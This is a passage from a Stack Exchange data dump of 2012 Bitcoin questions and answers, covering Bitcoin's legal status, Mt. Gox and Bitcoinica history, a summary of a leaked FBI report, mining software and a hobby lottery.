href=&quot;http://www.theatlanticwire.com/business/2011/09/paul-krugman-incites-bitcoin-cyber-geek-infighting/42188/&quot;&gt;http://www.theatlanticwire.com/business/2011/09/paul-krugman-incites-bitcoin-cyber-geek-infighting/42188/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-05-22T03:53:07.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3752" PostTypeId="2" ParentId="3748" CreationDate="2012-05-22T05:20:57.217" Score="6" Body="&lt;p&gt;There have been plenty of dollars spent on lawyers by Mt. Gox, BitInstant and others, but for specific legal issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, a decision after Mt. Gox sued its bank in France:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=41317.0&quot;&gt;https://bitcointalk.org/index.php?topic=41317.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is the CryptoCurrency Legal Advocacy Group:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Cryptocurrency_Legal_Advocacy_Group&quot;&gt;http://en.bitcoin.it/wiki/Cryptocurrency_Legal_Advocacy_Group&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.theclag.org&quot;&gt;http://www.theclag.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is an argument that Bitcoin isn't a security (in the U.S.):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lextechnologiae.com/2011/06/26/why-bitcoin-isnt-a-security-under-federal-securities-law&quot;&gt;http://www.lextechnologiae.com/2011/06/26/why-bitcoin-isnt-a-security-under-federal-securities-law&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.lextechnologiae.com/2011/06/17/extending-real-world-laws-to-virtual-worlds-is-a-terrible-idea&quot;&gt;http://www.lextechnologiae.com/2011/06/17/extending-real-world-laws-to-virtual-worlds-is-a-terrible-idea&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is Bitcoin a commodity then? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.bitcointitan.com/post/17789738826/what-u-s-regulations-apply-to-bitcoins-as-commodities&quot;&gt;http://blog.bitcointitan.com/post/17789738826/what-u-s-regulations-apply-to-bitcoins-as-commodities&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ruben Grinberg's paper:&#xA;Bitcoin: An Innovative Alternative Digital Currency&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1817857&quot;&gt;http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1817857&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Real legal issues with virtual currencies:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.networkworld.com/newsletters/sec/2010/051010sec2.html&quot;&gt;http://www.networkworld.com/newsletters/sec/2010/051010sec2.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Quora: Is Bitcoin Legal?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.quora.com/Is-Bitcoin-legal&quot;&gt;http://www.quora.com/Is-Bitcoin-legal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are even lawyers who accept bitcoin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Trade#Legal_Services&quot;&gt;http://en.bitcoin.it/wiki/Trade#Legal_Services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcointalk.org/index.php?topic=65482.0&quot;&gt;http://bitcointalk.org/index.php?topic=65482.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But that's about the extent of it, thus far -- at least what's publicly known.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-22T05:20:57.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3753" PostTypeId="2" ParentId="2428" CreationDate="2012-05-22T06:04:22.373" Score="0" Body="&lt;p&gt;Some more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Trade#Advertising&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Trade#Advertising&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.throughads.com&quot; rel=&quot;nofollow&quot;&gt;http://www.throughads.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoinadvertisers.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinadvertisers.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://thebtcnetwork.com&quot; rel=&quot;nofollow&quot;&gt;http://thebtcnetwork.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-05-22T06:04:22.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3754" PostTypeId="1" CreationDate="2012-05-22T08:44:44.933" Score="9" ViewCount="48952" Body="&lt;p&gt;I'm pretty new to the world of Bitcoin; though, a few months back I tried mining. I had everything working, but then I stopped.. Anyway, now I'd like to start up again, though I've wiped my computer and reinstalled OS X since then.&lt;br&gt;&#xA;I had been using a GUI (GPU) Miner, but now I have no idea how to find it.. I think it had something to do with poclbm, but I can't be sure... Anyway, if anyone has had any luck with one, please inform me.&lt;br&gt;&#xA;Thanks.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw: I'm running 10.7.4&lt;/p&gt;&#xA;" OwnerUserId="1103" LastEditorUserId="5406" LastEditDate="2016-03-07T10:34:56.103" LastActivityDate="2016-03-07T10:34:56.103" Title="GUI Miner for OS X?" Tags="|mac|mining-software|guiminer|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3756" PostTypeId="2" ParentId="3750" CreationDate="2012-05-22T17:08:10.383" Score="1" Body="&lt;p&gt;Major hacks or attacks on key exchanges or Bitcoin services can cause Bitcoin's price to fall quite dramatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increase in popularity will slowly make the price rise. Another speculation bubble can cause the price to go up quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Major investments made to Bitcoin can greatly increase the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of those quick changes don't appear too likely at the moment. However, it is possible that the decrease in block reward that should happen roughly around the end of the year can double the price of Bitcoin, or make a lot of smaller miners drop out of the system.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-22T17:08:10.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3757" PostTypeId="1" AcceptedAnswerId="3856" CreationDate="2012-05-22T18:29:02.747" Score="4" ViewCount="1343" Body="&lt;p&gt;MtGox has their French bank account closed last year, as the bank stated they aren't legally allowed to undertake the activities they were doing in regards to trading Bitcoins. There have been &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41317.0&quot; rel=&quot;nofollow&quot;&gt;a few decisions in this regard as well as a few appeals&lt;/a&gt;. What is the full story behind the whole issue and have any conclusions been reached?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-05-29T09:59:14.247" Title="What is the story behind MtGox and their French bank?" Tags="|mtgox|history|legal|banks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3758" PostTypeId="2" ParentId="3747" CreationDate="2012-05-22T18:55:55.883" Score="0" Body="&lt;p&gt;You can read George Selgin, a free banking advocate. Make sure to download the paper, not just the abstract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2000118&quot; rel=&quot;nofollow&quot;&gt;http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2000118&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1404" LastActivityDate="2012-05-22T18:55:55.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3759" PostTypeId="1" AcceptedAnswerId="4491" CreationDate="2012-05-22T19:08:56.083" Score="5" ViewCount="820" Body="&lt;p&gt;I am developing simple Bitcoin application using the bitcoinj library: The user enters the hash of a transaction and my application should return detailed information about that transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I load that transaction? Is there a function like peer.getBlock() for transactions?&lt;/p&gt;&#xA;" OwnerUserId="1403" LastActivityDate="2012-08-20T08:52:17.647" Title="Load a transaction with bitcoinj" Tags="|bitcoinj|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3760" PostTypeId="1" AcceptedAnswerId="3774" CreationDate="2012-05-22T19:59:51.337" Score="17" ViewCount="1301" Body="&lt;p&gt;This question seems to be asked every now and then when legal status of Bitcoin is discussed - Is Bitcoin a currency? What are the characteristics that would make it a currency, and what makes it different from the standard definition?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-04-03T11:52:16.587" LastActivityDate="2021-12-03T04:21:37.480" Title="Is Bitcoin a currency?" Tags="|currencies|legal|terminology|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3761" PostTypeId="1" CreationDate="2012-05-22T23:00:36.543" Score="-4" ViewCount="1393" Body="&lt;p&gt;I'm relatively new to Bitcoin but love the idea and will soon be accepting bitcoin in my own companies. (We provide online training/e-learning.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, just for fun I've set up what I would like to call a Bitcoin Lottery. Its a simple website and simple rules/terms. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;People pay bitcoin into the address provided on the site. (No names, no email, no forms to fill in.)&lt;/li&gt;&#xA;&lt;li&gt;Each dBTC (0.1 BTC) counts as a vote.&lt;/li&gt;&#xA;&lt;li&gt;The winner is chosen by a random number generator, obviously the more votes you have (the larger your initial payment/vote made e.g. 1 BTC = 10 Votes) the more likely you are to win. (If you paid 10 dBTC you would have 9 more chances to win than someone who only paid 1 dBTC.)&lt;/li&gt;&#xA;&lt;li&gt;Winnings (negative a 0.01% management fee and any payment transaction costs) are paid to the bitcoin address that paid the winning vote/payment.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My main objective is not to make money, just to setup a simple lottery for fun. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is my approach to this lottery a good idea, such as using each dBTC as a vote or should the vote amount/value be changed?&lt;/li&gt;&#xA;&lt;li&gt;Would there be any technical difficulties when trying to send payment (winnings) back to the address that paid for the vote. (See the website &lt;a href=&quot;http://winbitcoin.net&quot; rel=&quot;nofollow&quot;&gt;http://winbitcoin.net&lt;/a&gt; for further details.) I would assume large transaction fees would be required as the total amount (winnings) would be made up of lots of smaller initial payments. (I think that's how fees work anyway.)&lt;/li&gt;&#xA;&lt;li&gt;I understand that most of you are not lawyers, but aside from tax issues are there any other legal ramifications?&lt;/li&gt;&#xA;&lt;li&gt;The fee I would be taking (the 0.01%) would properly not even be enough to cover hosting cost, this does not bother me ATM. Would a management/hosting fee be seen to be unacceptable, should there be no fee or a smaller one?&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should there be a minimum vote (e.g. the 1 dBTC) and a maximum vote, say 5 BTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The website has only just gone live, so may be a bit bare but I will be personally paying a few votes later on tomorrow :D&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="132" LastEditDate="2013-04-09T22:22:09.513" LastActivityDate="2013-04-09T22:22:09.513" Title="Fundamentals of a Bitcoin Lottery" Tags="|transactions|transaction-fees|legal|websites|value|" AnswerCount="1" CommentCount="4" ClosedDate="2012-05-23T02:37:36.140" ContentLicense="CC BY-SA 3.0" />
  <row Id="3763" PostTypeId="2" ParentId="3761" CreationDate="2012-05-22T23:55:48.790" Score="2" Body="&lt;p&gt;Whether or not a particular way to run a lottery is a good idea or not depends on a few aspects - whether it is fair, balanced, earns enough money, and whether the users think it is fun and rewarding. Generally, this is a question of &lt;a href=&quot;http://en.wikipedia.org/wiki/Game_design&quot; rel=&quot;nofollow noreferrer&quot;&gt;game design&lt;/a&gt;, not Bitcoin. Probably it would be better asked on &lt;a href=&quot;https://gamedev.stackexchange.com/&quot;&gt;GameDev SE&lt;/a&gt;. What you described sounds cohesive, although you might want to adjust the fees depending on the costs you will be facing running the operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no issues with paying back an address that paid for the vote, as long as someone doesn't try to mine some Bitcoins directly onto your address, in that case sending the coins back would destroy them. This scenario is very unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to take into account the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow noreferrer&quot;&gt;fees charged by the Bitcoin network&lt;/a&gt; - usually 0.01BTC per kilobyte. As your winnings might consist of potentially large amount of small Transactions in the future, this might take a toll on the profits. You should try simulating some heavier traffic and see how high the fees get for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a legal problems - it's &lt;a href=&quot;http://www.gamblingcommission.gov.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;gambling&lt;/a&gt;, which means you should get a &lt;a href=&quot;http://www.gamblingcommission.gov.uk/&quot; rel=&quot;nofollow noreferrer&quot;&gt;gambling license&lt;/a&gt;. I don't think it would really be worth the trouble &quot;just for the heck of it&quot;. Alternatively, you can operate it without a license and face possible legal consequences in the future.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:18:44.430" LastActivityDate="2012-05-22T23:55:48.790" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3764" PostTypeId="1" AcceptedAnswerId="3769" CreationDate="2012-05-23T01:06:18.313" Score="4" ViewCount="261" Body="&lt;p&gt;What sort of service is &lt;a href=&quot;https://www.bitcoinica.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoinica&lt;/a&gt; (or was before it was closed)?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2014-04-03T11:53:36.793" LastActivityDate="2014-04-03T11:53:36.793" Title="What sort of service is Bitcoinica?" Tags="|websites|services|bitcoinica|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3765" PostTypeId="1" AcceptedAnswerId="4022" CreationDate="2012-05-23T01:09:01.977" Score="6" ViewCount="1623" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitcoinica.com&quot;&gt;Bitcoinica&lt;/a&gt; was a very popular service when it was operating. What is the story behind it - when was it started, what did it offer, and what hurdles did it face?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-10-24T13:19:48.493" Title="What is the story behind Bitcoinica?" Tags="|services|websites|history|bitcoinica|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3766" PostTypeId="1" AcceptedAnswerId="12300" CreationDate="2012-05-23T01:18:28.727" Score="4" ViewCount="427" Body="&lt;p&gt;A number of articles appeared recently linking to a leaked &lt;a href=&quot;https://web.archive.org/web/20140209052958/http://cryptome.org/2012/05/fbi-bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;document about Bitcoin&lt;/a&gt; written by the FBI.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin Virtual Currency: Unique Features Present Distinct Challenges for Deterring Illicit Activity&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What involvement or interest has the FBI had with other alternative currencies, such as Liberty Reserve, Dwolla, e-gold, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question should help provide some context to compare with the interest they've shown in Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="2306" LastEditDate="2014-10-22T18:45:32.223" LastActivityDate="2014-10-22T18:45:32.223" Title="The context of FBI involvement with Bitcoin" Tags="|legal|news-coverage|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3767" PostTypeId="1" AcceptedAnswerId="3772" CreationDate="2012-05-23T01:24:59.203" Score="4" ViewCount="586" Body="&lt;p&gt;Also related: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3766/the-context-of-fbi-involvement-with-bitcoin&quot;&gt;The context of FBI involvement with Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://cryptome.org/2012/05/fbi-bitcoin.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;FBI document regarding Bitcoin&lt;/a&gt; that &lt;a href=&quot;http://betabeat.com/2012/05/14/fbi-that-bitcoin-report-was-authentic-but-it-wasnt-leaked-by-us/&quot; rel=&quot;nofollow noreferrer&quot;&gt;was leaked in May 2012&lt;/a&gt; is very long. Is there a brief summary of the most important points somewhere?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-05-23T17:33:44.583" Title="What does the FBI think about Bitcoin, in brief?" Tags="|history|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3768" PostTypeId="1" CreationDate="2012-05-23T03:02:11.773" Score="3" ViewCount="597" Body="&lt;p&gt;This question was asked before over at bitcointalk.org &lt;a href=&quot;https://bitcointalk.org/index.php?topic=16059.0&quot; rel=&quot;nofollow&quot;&gt;over here&lt;/a&gt; way back in June '11. The answer back then was a resounding no. Is this still the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wallet.dat keeps growing bigger after every transaction since the client keeps generating and adding new bitcoin addresses I never intend to use. I want to stop that from happening.&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2012-05-23T07:08:10.703" Title="How do I disable automatic address generation for the official bitcoin client?" Tags="|client|wallet|address|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3769" PostTypeId="2" ParentId="3764" CreationDate="2012-05-23T03:29:40.480" Score="3" Body="&lt;p&gt;From &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoinica&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An exchange that enables leveraged speculation in its&#xA;  contract-for-difference (CFD) market against the Bitcoin to USD&#xA;  (BTC/USD) exchange rate.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The service charges no trading fees but instead earns from the trading&#xA;  spread -- similar to how forex trading functions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This was a powerful (and risky) service to provide to traders as leveraging allowed them to invest in more bitcoins than what they owned, and the contract-for-difference market allowed traders to take a position (gamble?) on exchange rate movements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There appeared to be a strong appetite for such a service, because it grew in popularity very quickly - it was &lt;a href=&quot;https://bitcointalk.org/index.php?topic=42267&quot; rel=&quot;nofollow noreferrer&quot;&gt;first mentioned on bitcointalk.org in Sep 2011&lt;/a&gt; and by March 2012 was large enough to be holding BTC43,000 (&lt;a href=&quot;https://bitcoin.stackexchange.com/q/3642/516&quot;&gt;when it was first hacked&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2012-06-01T10:49:46.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3770" PostTypeId="2" ParentId="3768" CreationDate="2012-05-23T07:08:10.703" Score="4" Body="&lt;p&gt;The satoshi client still uses a previously unused address each time it needs to send itself change, and there's no option to prevent this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously since the client is open source you could change it to do whatever you like, or pay somebody with the appropriate skills to do it for you.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-05-23T07:08:10.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3772" PostTypeId="2" ParentId="3767" CreationDate="2012-05-23T16:39:25.463" Score="3" Body="&lt;p&gt;The most interesting part of the document isn't that long, as half of the pages explain some terminology and how Bitcoin works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main points made are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bitcoin is the world's first decentralised currency, thus it is hard to audit and control it&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins can become popular among criminals as they offer a lot of anonymity&lt;/li&gt;&#xA;&lt;li&gt;Bitcoins can be used to commit money laundering&lt;/li&gt;&#xA;&lt;li&gt;It is very likely that people wanting to steal Bitcoins will target third-party services (such as exchanges), and users' wallets&lt;/li&gt;&#xA;&lt;li&gt;It is hard to link user's identity to their Bitcoin address, but can be quite easy when they convert their Bitcoins into a fiat currency&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are also a couple other, smaller points made and it is generally a good read. As a side note, the paper appears to have a small mistake on page 4 - listing Bitcoin's lowest price since the bubble as 4$, whereas it was &lt;a href=&quot;http://www.guardian.co.uk/technology/2011/oct/18/bitcoin-value-crash-cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;as low as 2$ at some point&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-05-23T17:33:44.583" LastActivityDate="2012-05-23T17:33:44.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3774" PostTypeId="2" ParentId="3760" CreationDate="2012-05-23T17:23:39.587" Score="15" Body="&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; Bitcoin already is a currency because it's a generally accepted medium of exchange among certain communities. As those communities grow and usage spreads to other communities, its strength as a currency solidifies.&lt;/p&gt;&#xA;&lt;p&gt;This requires a little bit of history. &lt;em&gt;I am not a numismatist,&lt;/em&gt; but I have studied this a little even before the advent of Bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;Currency is a set of things that are a &lt;a href=&quot;http://en.wikipedia.org/wiki/Currency&quot; rel=&quot;nofollow noreferrer&quot;&gt;generally accepted medium of exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Throughout history, an accepted medium of exchange has been anything of value to both people involved in the transaction. Typically, these are physical goods that have some semblance of &lt;strong&gt;inherent usefulness&lt;/strong&gt; and a &lt;strong&gt;degree of rarity&lt;/strong&gt;. Also, there is typically a perceived finite supply of the thing. Lastly, the importance of &lt;strong&gt;portability&lt;/strong&gt; is generally high: if it is cumbersome to carry enough of the thing to make daily purchases, it is less likely to be an acceptable medium of exchange because no one will want to carry it around with them!&lt;/p&gt;&#xA;&lt;p&gt;So, I've set the stage for most world currencies: small, portable coins comprised of precious metals. The metals can be used in products and are rare in that it takes work to extract them from the earth. The supply is thus finite, until another deposit of the metal is discovered. That's when the overall value of the coin may drop compared to other things, but at its simplest explanation, it means that&#xA;the coin metal has become less rare.&lt;/p&gt;&#xA;&lt;p&gt;This kind of coinage started organically. People could give each other a weight of metal and know what its value was to them. Eventually, as governments were established, governments would gather up all the metals they wanted by whatever means necessary, and then melt the metals in order to mint coins with an intended, consistent value because of their weight.&lt;/p&gt;&#xA;&lt;p&gt;As the price of goods increased steadily, it was impractical for a person to carry a sack of coins, so someone contrived the bright idea of paper money, and later, a bank note.  These are simply a promise that a person can exchange that note for the coins related to it. Thus, this paper money or bank note used to be simply a proxy to more valuable coins or other forms of metal.&lt;/p&gt;&#xA;&lt;p&gt;However, this is prone to interference by those who print the notes and the governments that oversee it all. Eventually, paper notes became backed by promises for coins and metals that didn't exist. So, the value of the notes in relation to the coins and metals decreased. Then banks stopped accepting notes in exchange for coins.&lt;/p&gt;&#xA;&lt;p&gt;What resulted is called &lt;em&gt;fiat currency&lt;/em&gt;, which has a value simply because some government declares it to have value. It is actually more closely related to debt, but that's a complex subject for another question.&lt;/p&gt;&#xA;&lt;p&gt;A chief problem of fiat currency is that a bank or a government can simply print more bank notes in order to create more money. This works in the short term, but any savvy person will realize the similarity of this to someone finding a new deposit of a metal. When there is suddenly more of something, what existed of that something is suddenly less valuable because it is less rare. This does not matter a whole lot when there is only one thing of value. When there are many things of value, e.g. silver, gold, platinum, diamonds, oil, other fiat currencies, the value of our something compared to those will be affected.&lt;/p&gt;&#xA;&lt;p&gt;All of these things are usable &lt;em&gt;as currency&lt;/em&gt; but some are &lt;em&gt;more practical&lt;/em&gt; than others.&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin is similar, but more abstract. Bitcoin has &lt;strong&gt;no inherent usefulness&lt;/strong&gt;: it's just data. It does have &lt;strong&gt;rarity&lt;/strong&gt;: the supply is finite because only 21M coins can exist. The &lt;em&gt;available&lt;/em&gt; supply is growing by the minute, but there will be a day when no more will be &amp;quot;found&amp;quot;, thereby halting its inflation in value. Instead, at that time, its value will begin to deflate as coins are &lt;em&gt;permanently lost&lt;/em&gt; for one reason or another.&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin's inherent &lt;em&gt;uselessness&lt;/em&gt; as a physical good -- data -- contributes to another factor: its &lt;strong&gt;portability&lt;/strong&gt;. It's &lt;em&gt;just data&lt;/em&gt; and we can surely store a lot of data in a small physical space. This property makes it almost infinitely portable. A billionaire could carry their life savings in their pocket on a Flash drive and no one else could have control of the physical thing that is their life savings.&lt;/p&gt;&#xA;&lt;p&gt;Creating a currency when the physical thing has no inherent usefulness requires that initial participants assign a value to it. It's a fiat currency, but the value isn't controlled by any central authority. No central authority can create more of it. No central authority can destroy it. This is not to say that &lt;em&gt;an authority cannot destroy it&lt;/em&gt;, because a government surely could pass laws to prohibit its exchange/possession/production.&lt;/p&gt;&#xA;&lt;p&gt;In its infancy, Bitcoin has limited intra-economy value, that is, it has limited value as something that can be exchanged for payment for work or goods simply because not a lot of people have boldly decided to accept it with the hopes that they can spend it on something they need. This value grows daily as more businesses start and more people believe that they can spend what they accept in it.&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin at this stage is no different from arcade tokens, in-game currency, or Monopoly money used in schools to teach children how money works: it has a limited value to a limited audience. It &lt;em&gt;is&lt;/em&gt; currency to those who participate in this limited audience, and its inherent value (not necessarily its value relative to other traditional currencies) grows as the audience grows.&lt;/p&gt;&#xA;&lt;p&gt;To add another question to the original: How can the strength of Bitcoin as a currency grow? The answer is quite simple: use it! Find &lt;em&gt;something&lt;/em&gt; to buy with it, find something to sell and accept it as payment. Keep this cycle going and get others involved.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="14911" LastEditDate="2021-12-03T04:21:37.480" LastActivityDate="2021-12-03T04:21:37.480" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="3775" PostTypeId="1" AcceptedAnswerId="3840" CreationDate="2012-05-23T17:29:38.270" Score="5" ViewCount="667" Body="&lt;p&gt;When I create an account via my desktop browser, I am assured that the password only exists on my browser, and is not saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if I &quot;pair&quot; an Android device with MyWallet, can or can't I send BTC without entering the password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this work with/without a secondary password? What if I first installed the Android app, and only then created a secondary password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are the files on my Android device / Dropbox encrypted with my first password? My second password? Both?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2012-09-04T18:21:47.653" LastActivityDate="2012-09-04T18:21:47.653" Title="How exactly does MyWallet's Android client work?" Tags="|blockchain.info|android|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3776" PostTypeId="2" ParentId="3754" CreationDate="2012-05-23T17:33:01.223" Score="1" Body="&lt;p&gt;I use &lt;a href=&quot;https://github.com/Diablo-D3/DiabloMiner&quot; rel=&quot;nofollow&quot;&gt;DiabloMiner&lt;/a&gt;. Here are some &lt;a href=&quot;https://github.com/Diablo-D3/DiabloMiner/wiki&quot; rel=&quot;nofollow&quot;&gt;quick start instructions&lt;/a&gt; for it.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2012-05-23T17:33:01.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
